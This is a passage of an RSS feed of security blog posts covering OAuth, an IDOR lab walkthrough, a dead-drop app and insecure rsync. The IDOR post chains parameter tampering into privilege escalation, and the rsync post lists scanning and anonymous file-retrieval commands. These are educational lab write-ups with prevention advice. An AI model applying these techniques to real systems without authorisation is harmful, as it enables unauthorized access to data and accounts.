            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8WhozvViMtVjxFjc.png" /></figure><h3>Authentication</h3><blockquote><em>The process of verifying that an individual, entity, or website is who or what it claims to be by determining the validity of one or more authenticators (like passwords, fingerprints, or security tokens) that are used to back up this claim.</em></blockquote><h4>Authentication protocols that require no password</h4><p>In situations where <strong>third-party</strong> applications need access to a web application, storing user credentials with these applications is <strong>risky</strong>.</p><p><strong>Instead,</strong> utilizing authentication protocols like OAuth, OpenID Connect, SAML, or JWT can provide secure access without compromising user credentials.</p><ul><li>Offer temporary access tokens or secure identity verification methods, minimizing the risk of data breaches and enhancing overall security.</li></ul><h3>Open Authorization (OAuth)</h3><blockquote><em>Is a protocol that allows an application to authenticate against a server as a user, </em><strong><em>without requiring passwords or any third-party server</em></strong><em> that acts as an identity provider.</em></blockquote><h4>Key features of OAuth include:</h4><ol><li><strong>Token-Based Authentication:</strong></li></ol><ul><li>OAuth uses tokens generated by the server to give access to resources.</li><li>These tokens act as temporary credentials for the application to access protected resources on behalf of the user.</li></ul><p><strong>2. User Identification:</strong></p><ul><li>OAuth informs servers about the user accessing services, allowing for access controls based on user identity.</li></ul><h4>OAuth Versions:</h4><blockquote><strong><em>(OAuth1.0a):</em></strong></blockquote><ul><li>Requires the use of<strong> cryptographic libraries</strong> for digital signatures.</li><li>Offers an additional layer of security by not solely relying on HTTPS.</li><li>Considered more <strong>complex</strong> to implement compared to OAuth 2.0.</li><li>Suitable for <strong>higher-risk transactions</strong> where extra security measures are necessary.</li></ul><blockquote><strong><em>(OAuth 2.0):</em></strong></blockquote><ul><li>Relies on <strong>HTTPS</strong> for security.</li><li>Widely used and implemented by major companies like Facebook, Google, Twitter, and Microsoft.</li><li>Generally <strong>easier </strong>to implement compared to OAuth 1.0a.</li><li><strong>Does not </strong>require cryptographic libraries for digital signatures, simplifying implementation.</li></ul><h4>How does OAuth 2.0 work?</h4><ol><li><strong>Client Registration:</strong> The client obtains a client ID and client secret from the authorization server to identify itself.</li><li><strong>Authorization Request:</strong> The client asks the user (resource owner) for permission to access their resources.</li><li><strong>User Authorization:</strong> The user grants permission by logging in with their credentials. Instead of sharing credentials, an authorization code is generated and given to the client.</li><li><strong>Token Request:</strong> The client exchanges the authorization code for an access token from the authorization server.</li><li><strong>Access Token Generation:</strong> The authorization server generates an access token that the client can use to access the user’s resources.</li><li><strong>Accessing Resources:</strong> The client sends the access token to the resource server to request access to the user’s resources.</li><li><strong>Access Token Validation:</strong> The resource server validates the access token with the authorization server. If valid, the client is granted access to the user’s resources.</li></ol><h3>Google OAuth workflow</h3><blockquote><strong><em>Setting up Google API Credentials:</em></strong></blockquote><p>Step-by-step instructions below follow Google’s documentation on <a href="https://support.google.com/cloud/answer/6158849?hl=en">setting up OAuth 2.0</a> for a web application.</p><blockquote><strong><em>Google login with Flask on the backend and React on the frontend Example Workflow:</em></strong></blockquote><ol><li>User clicks on the Google login button in our React app.</li><li>React app redirects the user to the Flask backend route for Google authentication.</li><li>Flask backend initiates the OAuth flow, redirects the user to Google’s login page.</li><li>User logs in with Google credentials and grants permission to our app.</li><li>Google redirects the user back to our Flask backend with an authorization code.</li><li>Flask backend exchanges this code for an access token.</li><li>Flask backend fetches user information using the access token.</li><li>Flask backend returns user information and access token to the React frontend.</li><li>React frontend stores this information and allows the user to interact with the application as an authenticated user.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*UaqBwHrzuOwwLtT2XT6KvA.png" /></figure><blockquote><strong><em>Resources:</em></strong></blockquote><ul><li><a href="https://developers.google.com/identity/protocols/oauth2/web-server">https://developers.google.com/identity/protocols/oauth2/web-server</a></li><li><a href="https://developers.google.com/identity/protocols/oauth2">https://developers.google.com/identity/protocols/oauth2</a></li><li><a href="https://blog.postman.com/how-to-access-google-apis-using-oauth-in-postman/">https://blog.postman.com/how-to-access-google-apis-using-oauth-in-postman/</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html">https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html</a></li></ul><blockquote><strong><em>Thanks for Reading!</em></strong></blockquote><ul><li><a href="https://twitter.com/yasmeena_rezk">Twitter</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1f0841bf847" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR in APIs]]></title>
            <link>https://medium.com/@yasmeena_rezk/idor-in-apis-cd0b4d3b9ac4?source=rss-38f106202a39------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd0b4d3b9ac4</guid>
            <category><![CDATA[idor]]></category>
            <dc:creator><![CDATA[Yasmeen Rezk]]></dc:creator>
            <pubDate>Tue, 20 Feb 2024 19:42:27 GMT</pubDate>
            <atom:updated>2024-02-20T19:42:27.846Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PmWp91qsYYilQWtB.png" /></figure><h4><strong><em>IDOR in APIs</em></strong></h4><p>Insecure Direct Object Reference (IDOR) is a vulnerability that arises when attackers can access or modify objects by manipulating identifiers used in a web application’s URLs or parameters. It occurs due to missing access control checks, which fail to verify whether a user should be allowed to access specific data.</p><p><strong>An API endpoint is vulnerable if:</strong></p><ul><li>It exposes sensitive object properties to users who shouldn’t have access to them.</li><li>It permits users to modify, add, or delete values of sensitive object properties that they shouldn’t be able to access.</li></ul><p><strong>Common security issues arise when:</strong></p><ul><li>Access control privileges, like roles, are included in the client’s HTTP request, potentially under their control.</li><li>Insufficient backend access control -&gt; assigning user roles -&gt; privilege escalation.</li></ul><h4><strong><em>Impact</em></strong></h4><p>Unauthorized access to private or sensitive object properties can have serious consequences, including:</p><ul><li>Data disclosure: Exposing confidential information to unauthorized parties.</li><li>Data loss: Unintended deletion or manipulation of sensitive data.</li><li>Data corruption: Unauthorized modification of critical data leading to integrity issues.</li><li>Privilege escalation: Unauthorized access may allow attackers to gain higher levels of access or privileges within the system.</li><li>Account takeover: In some cases, unauthorized access can lead to partial or complete control over user accounts, posing significant security risks.</li></ul><blockquote><strong><em>Prevention</em></strong></blockquote><ol><li>Ensure API endpoints only expose object properties accessible to users.</li><li>Avoid generic methods like to_json() and to_string(); instead, selectively choose properties for return.</li><li>Prevent mass assignment by avoiding automatic binding of client input to internal objects or properties.</li><li>Limit client updates to only permissible object properties.</li><li>Implement schema-based response validation for added security.</li></ol><blockquote><strong><em>Side Notes</em></strong></blockquote><ol><li>HTTP methods commonly utilized in APIs are:</li></ol><ul><li>PUT -&gt; update item details.</li><li>POST -&gt; create new items.</li><li>DELETE -&gt; delete items.</li><li>GET -&gt; retrieve item details.</li></ul><p>2. Try to test the API against IDOR Information Disclosure vulnerabilities by attempting to get other users’ details with GET requests.</p><h4>Scenario (Lab): Vulnerable API Call in the Update Profile Function</h4><p><strong>Identifying Vulnerable Apis</strong></p><ol><li>change details in our profile and click Update profile.</li><li>intercept the Update request.</li><li>PUT request to the /api/profile/1 includes hidden parameters, like uid, uuid, and role.</li><li>observe that role set to employee.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*h4rQVV1Axf-Ug2N54XPhAg.png" /><figcaption>Now, how would we know what other roles exist?</figcaption></figure><p><strong>Exploitation</strong></p><p>There are a few things we could try:</p><ol><li>Change our uid to another user’s uid.</li><li>Change another user’s details.</li><li>Create new users with arbitrary details.</li><li>Delete existing users.</li><li>Change our role to a more privileged role (e.g. admin).</li></ol><h4><strong><em>Steps</em></strong></h4><blockquote><strong><em>Changing our uid to another user’s uid:</em></strong></blockquote><p>Change our (“uid”: 1) to another user’s uid (e.g. “uid”: 2) -&gt;<strong> uid mismatch.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AZVrEstPkcL_iIEb6nsJLQ.png" /><figcaption>app appears to be comparing the request’s uid to the API endpoint (/1)</figcaption></figure><blockquote><strong><em>Changing another user’s details:</em></strong></blockquote><p>Change the API endpoint to /profile/2, and change “uid”: 2 to avoid the previous uid mismatch -&gt; <strong>uuid mismatch.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AhqCnaNtcbrHyb_GZn4oaQ.png" /><figcaption>app appears to be checking if the uuid value we are sending matches the user’s uuid</figcaption></figure><blockquote><strong><em>Creating new users with with a POST request</em></strong></blockquote><p>Change the uid a new uid (e.g. “uid”: 20 ) &amp; the API endpoint (/20) -&gt; <strong>admins-only action</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GLm9pzkG3yBFn3hF3xjHeA.png" /></figure><blockquote><strong><em>Deleting existing users with a DELETE request</em></strong></blockquote><p>Change the uid to another uid (e.g. “uid”: 20 ) &amp; the API endpoint (/20) -&gt; <strong>admins-only action</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8a9dustM7qs5Fyn6AEoDQ.png" /></figure><blockquote><strong><em>Changing our role to a more privileged role (e.g. admin)</em></strong></blockquote><p>Change our role to admin/administrator to gain higher privileges -&gt; <strong>Invalid role.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v_ltnaOb9NsowF0nZGXONQ.png" /></figure><p>It seems that all our attempts have been unsuccessful.</p><p>But, if there’s <strong>no solid access control</strong> preventing us from reading other users’ details, we might be able to <strong>get IDOR Info Disclosure</strong> then use this information to <strong>complete our IDOR attacks on the function calls</strong>.</p><blockquote><strong><em>Send a get request to the API endpoint ending with (/profile/10):</em></strong></blockquote><p>We’ve discovered an Information Disclosure vulnerability revealing admin details, which could be significant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_-UvgF1khSGUx4OYXHThqw.png" /><figcaption>IDOR Information Disclosure</figcaption></figure><ol><li>Let’s use this information to alter the admin details:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C8SdsPzfB3axm4XwLNfbwA.png" /></figure><p>2. Send a get request again to the updated details API endpoint ending with (/profile/10):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a1glG28kVW6YQiZ-BuZGHg.png" /></figure><p>We’ve successfully updated the admin staff details.</p><p><strong>Let’s try to Create new users by bypassing access control privileges with role as (“role”:”staff_admin”)</strong></p><blockquote><strong><em>Creating new users with with a POST request as “role”:”staff_admin”</em></strong></blockquote><ol><li>Change the uid a new uid (e.g. “uid”: 20 ) &amp; the API endpoint (/20) -&gt; <strong>200 OK!</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*oBqFDCu2-z6N4zjUXt3xvg.png" /><figcaption>We’ve successfully bypassed the restriction that only admins can create new employees.</figcaption></figure><p>2. Update the role and details of the new user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ndoqLwNTD6kk0Q8SlUrROw.png" /></figure><p>3. Send a GET request to the API endpoint for the updated details of the new user (/profile/20):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gy7F3sc0kxqP-bXURQHngQ.png" /></figure><p><strong>Successfully chaining IDOR Information Disclosure with IDOR Insecure Function Calls vulnerabilities enabled unauthorized actions to be performed.</strong></p><blockquote><strong><em>Additional Resources</em></strong></blockquote><ul><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html">Insecure Direct Object Reference Prevention — OWASP Cheat Sheet Series</a></li><li><a href="https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/">API3:2023 Broken Object Property Level Authorization — OWASP API Security Top 10</a></li></ul><blockquote><strong><em>Thanks for Reading!</em></strong></blockquote><ul><li><a href="https://twitter.com/yasmeena_rezk">Twitter</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd0b4d3b9ac4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ONE TIME DEAD DROP]]></title>
            <link>https://medium.com/@yasmeena_rezk/one-time-dead-drop-9967a1cb819f?source=rss-38f106202a39------2</link>
            <guid isPermaLink="false">https://medium.com/p/9967a1cb819f</guid>
            <category><![CDATA[dead-drop]]></category>
            <dc:creator><![CDATA[Yasmeen Rezk]]></dc:creator>
            <pubDate>Sat, 27 Jan 2024 01:52:44 GMT</pubDate>
            <atom:updated>2024-01-27T01:52:44.787Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/885/0*3TNb7zqNmtFGQ5KH.jpg" /></figure><h3><strong><em>DEAD DROP</em></strong></h3><p>In espionage, intelligence operations, or other covert scenarios, a dead drop is a method of communication that allows for secure and controlled transfer of information or items without direct interaction between the parties involved.</p><ul><li>helps maintain anonymity, reduces the risk of direct contact, and allows for careful control over the timing and participants involved in the exchange.</li></ul><h4>Dead drop features:</h4><ol><li><strong>Controlled Delivery:</strong> Initiator decides when and where the package is placed, ensuring a specific time and location for the transfer.</li><li><strong>Limited Access:</strong> The dead drop location is known only to involved parties, minimizing the risk of unauthorized access or interception.</li><li><strong>Secrecy:</strong> Direct contact avoidance preserves the secrecy and security of the exchange.</li><li><strong>Single-Use:</strong> Typically designed for<strong> one-time</strong> use, reducing the chances of detection or compromise.</li></ol><h3>ONE TIME DEAD DROP</h3><p>In summary, “ONE TIME DEAD DROP” designed for a single use, with self-destructing data and a limited time window for access, enhancing the security and confidentiality of the information exchange.</p><blockquote><strong><em>Instructions</em></strong></blockquote><ol><li><strong>Single Use -&gt;</strong> It emphasizes that the drop is intended for a one-time operation.</li><li><strong>Self-Destructing Data -&gt;</strong> After the recipient picks up the data, it is programmed to self-destruct. This ensures that the information is not accessible after retrieval.</li><li><strong>Limited Access Window -&gt;</strong> The recipient is advised to check and retrieve the data promptly within this timeframe.</li></ol><blockquote><strong><em>Scenario: </em></strong><em>creation and retrieval of a “drop” message, possibly in the context of secure data exchange.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HD58bHCYhNg_Zi2udgKkpA.png" /><figcaption>ONE TIME DEAD DROP</figcaption></figure><p><strong>Sending a Drop:</strong></p><ul><li>Prepare the data you want to drop.</li><li>Intercept the request to the drop endpoint (e.g., /drop).</li><li>The request contains encrypted data in the form of a JSON payload.</li><li>The payload includes various parameters such as initialization vector (iv), encryption key size (ks), encryption mode (mode), salt, cipher information, and the encrypted content (ct):</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgJjIwqQfCHaX90jGQmJxQ.png" /><figcaption>Sending a Drop</figcaption></figure><p><strong>Receiving a Response:</strong></p><ul><li>The server responds with a JSON object containing an “id” parameter, representing the unique identifier for the drop.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*3LFtbuZ2dsXRmEG7TZmEuQ.png" /><figcaption>Receiving Response</figcaption></figure><p><strong>Retrieving the Drop:</strong></p><ul><li>To retrieve the drop, the user constructs a URL with the received “id” parameter.</li><li>Example URL: <a href="https://ex.com/pickup/65b45a9a0eac8">https://ex.com/pickup/</a>{id}</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*77AR85o8ksxPzkE4T5wszg.png" /><figcaption>Retrieving the Drop</figcaption></figure><p><strong>Entering the Password:</strong></p><ul><li>The user accesses the constructed URL and enters the password associated with the drop.</li><li>Upon successful authentication, the decrypted message is displayed.</li><li>The message is marked as deleted, indicating that it cannot be retrieved again.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*G3ZVY5gAf-b19LIY0jTo6A.png" /><figcaption>Success Message</figcaption></figure><p>These steps outline the process of creating, dropping, and retrieving an encrypted message through the described dead drop mechanism.</p><p>The security and confidentiality of the information are maintained through encryption, one-time access, and self-destruction features.</p><blockquote><strong><em>Additional Resources</em></strong></blockquote><ul><li><a href="https://www.wired.com/story/what-is-dead-drop/">https://www.wired.com/story/what-is-dead-drop/</a></li><li><a href="https://hackaday.com/tag/dead-drop/">https://hackaday.com/tag/dead-drop/</a></li></ul><blockquote><strong><em>Thanks for Reading!</em></strong></blockquote><ul><li><a href="https://twitter.com/yasmeena_rezk">Twitter</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9967a1cb819f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Remote Synchronization]]></title>
            <link>https://medium.com/@yasmeena_rezk/insecure-remote-synchronization-da1088410add?source=rss-38f106202a39------2</link>
            <guid isPermaLink="false">https://medium.com/p/da1088410add</guid>
            <category><![CDATA[rsync]]></category>
            <dc:creator><![CDATA[Yasmeen Rezk]]></dc:creator>
            <pubDate>Mon, 15 Jan 2024 20:48:30 GMT</pubDate>
            <atom:updated>2024-01-15T20:48:30.016Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IeCX-WhEAWwtiaBx.gif" /></figure><blockquote><strong><em>What is Rsync?</em></strong></blockquote><ul><li>an open-source file synchronizing tool that provides incremental file transfer. It can be used over insecure and secure transports (like SSH).</li><li>available on most Unix-based systems (such as macOS and Linux) and Windows.</li><li>Rsync can be a powerful utility for simple file mirroring or transfer.</li><li>It can quickly synchronize files between multiple servers through LAN/WAN or synchronize different directories in the local disks.</li><li><strong>Default port:</strong> 873</li></ul><blockquote><strong><em>How to Secure Rsync?</em></strong></blockquote><p>By following these <strong>three rules on every rsync module</strong>, you can reduce the chances of rsync-based data exposure significantly:</p><ol><li>Only allow necessary remote hosts and user accounts.</li><li>Enforce strict modes to validate secrets file access.</li><li>Encrypt all rsync transmissions through a tunnel or limit them to an intranet.</li></ol><blockquote><strong><em>Rsync Business Impact</em></strong></blockquote><p>Data Exposure</p><ul><li>When rsync is used by businesses, the government, and other large organizations, the files being transferred may contain extremely sensitive information.</li></ul><h4>NMAP Host</h4><pre>nmap -sV -p 1-1000 &lt;hostname_or_ip_address&gt;</pre><ul><li>It makes sense that it’s open on 873, rsync:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c-KX7bWqHQdbd5UI6M9Zzw.png" /><figcaption>Service and Version Detection</figcaption></figure><h4>Enumerate rsync</h4><p>In rsync configuration, the access can be controlled through settings in the rsyncd.conf configuration file. If the configuration allows anonymous access, users can list and retrieve files without providing any credentials.</p><p>Confirm the availability of the rsync service on our host with port 873 open in two popular ways:</p><ul><li>The <strong>rsync-list-modules</strong> script has been used to query the available modules.</li></ul><pre>nmap -sV --script &quot;rsync-list-modules&quot; -p &lt;PORT&gt; &lt;IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*eHBq3TwN1mXIAzM9PLmCNA.png" /><figcaption>nmap</figcaption></figure><p>OR: show the available modules for rsync</p><pre>rsync &lt;hostname_or_ip_address&gt;:: </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*DRxg_MMCEFZPqBXW3NliTg.png" /><figcaption>rsync</figcaption></figure><h4>Manual Rsync</h4><p>In rsync, a module is a shared resource or directory that is made available for synchronization. If authentication is not required for the rsync server, you can list the available modules or shared folders by using the following command:</p><pre>rsync -av --list-only rsync://&lt;hostname_or_ip_address&gt;/&lt;module_or_folder_name&gt;/</pre><p>Since the server allows anonymous access as we see, this command will provide a list of files and directories within the specified module or folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0BJqRYV4jB8-lnFCpEmpqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ksJO41LfTy_mKTyx70tmA.png" /></figure><p>Synchronizing a folder from the remote server to our local machine:</p><pre>rsync -av rsync://&lt;hostname_or_ip_address&gt;/&lt;module_or_folder_name&gt;/ /local/destination/path/</pre><h4><strong>Lack of Encryption</strong></h4><ul><li>rsync transfers data in plain text over the network, lacking encryption by default and leaving it vulnerable to interception.</li><li>To secure sensitive information during transit, users are advised to employ rsync in conjunction with SSH for encrypted communication.</li></ul><pre>rsync -av -e ssh username@hostname:/path/to/source/ /path/to/destination/</pre><h4>File upload permissions</h4><p>If we want to synchronize “myfile” to a remote server and use the “folder” module, we might use a command like this:</p><pre># rsync [options] source destination<br>rsync myfile rsync://&lt;hostname_or_ip_address&gt;/folder/</pre><p>If authentication is required, we may need to include a username and possibly a password or use SSH for secure communication:</p><pre>rsync -av -e ssh myfile user@&lt;hostname_or_ip_address&gt;:/path/to/folder/</pre><p>Unfortunately, we don’t have writing permissions on the target module.</p><blockquote><strong><em>Additional Resources</em></strong></blockquote><ul><li><a href="https://0xdf.gitlab.io/2020/12/05/htb-unbalanced.html">HTB: Unbalanced | 0xdf hacks stuff</a></li><li><a href="https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync">873 — Pentesting Rsync — HackTricks</a></li><li><a href="https://medium.com/r3d-buck3t/attack-insecure-rsync-service-928951af34ed">https://medium.com/r3d-buck3t/attack-insecure-rsync-service-928951af34ed</a></li></ul><blockquote><strong><em>Thanks for Reading!</em></strong></blockquote><ul><li><a href="https://www.linkedin.com/in/yasmeen-rezk/">LinkedIn</a></li><li><a href="https://twitter.com/yasmeena_rezk">Twitter</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da1088410add" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>